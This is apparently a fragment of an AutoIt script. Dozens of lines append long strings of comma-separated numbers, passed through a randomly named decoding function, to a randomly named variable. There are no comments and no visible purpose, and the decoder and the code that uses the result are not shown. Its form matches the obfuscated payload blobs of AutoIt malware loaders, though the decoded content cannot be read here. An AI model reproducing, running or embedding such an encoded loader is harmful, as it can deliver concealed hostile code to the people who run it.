$LMASCGP &= BTBXJYMRFGAETPA ("57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,57,56,58,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,57,56,54,56,55,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,53,56,60,56,54,56,59,57,57,56,53,56,6,56,55,56,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,54,56,54,56,5,56,53,56,58,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,57,56,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,57,56,53,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,53,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,6,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,56,57,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,56,56,53,56,55,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,56,54,56,54,56,5,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,57,55,56,54,56,59,56,54,57,56,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,58,57,54,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,54,56,55,56,56,56,59,56,6,56,6,56,6,56,55,56,60,57,59,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,57,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,57,57,57,57,57,54,56,5,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,57,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,56,56,54,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,54,57,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,55,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,57,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,54,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,56,57,58,56,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,56,54,56,54,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,6,56,6,57,54,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,56,56,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,54,57,57,56,53,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,57,55,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,6,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,55,56,60,57,57,56,53,56,6,56,55,56,60,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,54,57,56,56,54,56,55,56,54,57,56,56,53,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,57,57,56,54,56,55,56,53,56,56,56,6,56,6,56,56,56,55,56,6,57,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,59,56,53,56,5,56,56,56,55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,6,56,54,56,55,56,54,56,57,56,53,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,57,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56,60,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,56,56,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,56,6,56,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,56,5,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,54,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,55,56,56,56,54,56,6,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,54,56,56,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,56,56,54,57,54,56,54,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,6,56,6,56,6,56,55,56,55,57,59,57,54,57,58,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,59,56,53,56,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,56,5,56,53,56,54,57,57,56,53,56,6,56,55,57,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,54,56,53,57,57,56,53,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,57,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,55,56,56,56,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,58,56,54,56,55,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,60,57,57,57,54,56,5,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,56,54,56,55,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,54,56,59,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,55,56,53,56,56,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,58,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,54,57,54,57,54,57,54,56,55,56,56,56,53,56,58,56,54,56,59,56,54,57,55,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,54,56,59,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,56,56,57,56,53,56,55,57,57,56,53" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,55,56,53,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,58,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,56,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,6,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,57,56,54,56,59,56,54,56,57,57,57,56,53,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,6,57,57,57,54,56,5,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,54,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,57,58,56,55,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,53,56,57,56,54,56,59,57,57,56,53,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,56,53,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,5,57,54,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,55,56,56,56,59,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,60,56,54,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,57,57,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,59,56,54,56,56,56,56,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,58,57,59,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,56,53,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,56,56,53,56,60,56,6,56,6,56,6,56,55,56,53,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,56,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,6,56,56,56,59,56,60,56,60,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,5,56,53,56,57,56,55,56,53,56,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,57,56,54,56,57,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,54,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,56,53,56,60,56,53,56,5,56,6,56,6,56,6,56,55,56,53,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,6,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,57,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,56,56,54,56,58,56,53,56,57,56,6,56,6,56,6,56,55,56,58,56,56,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,56,55,56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,5,57,55,57,54,57,57,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,6,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,53,56,54,56,5,56,54,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,53,56,6,56,6,56,6,56,55,57,57,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,57,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,57,56,54,56,59,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,56,56,54,56,55,56,54,56" )
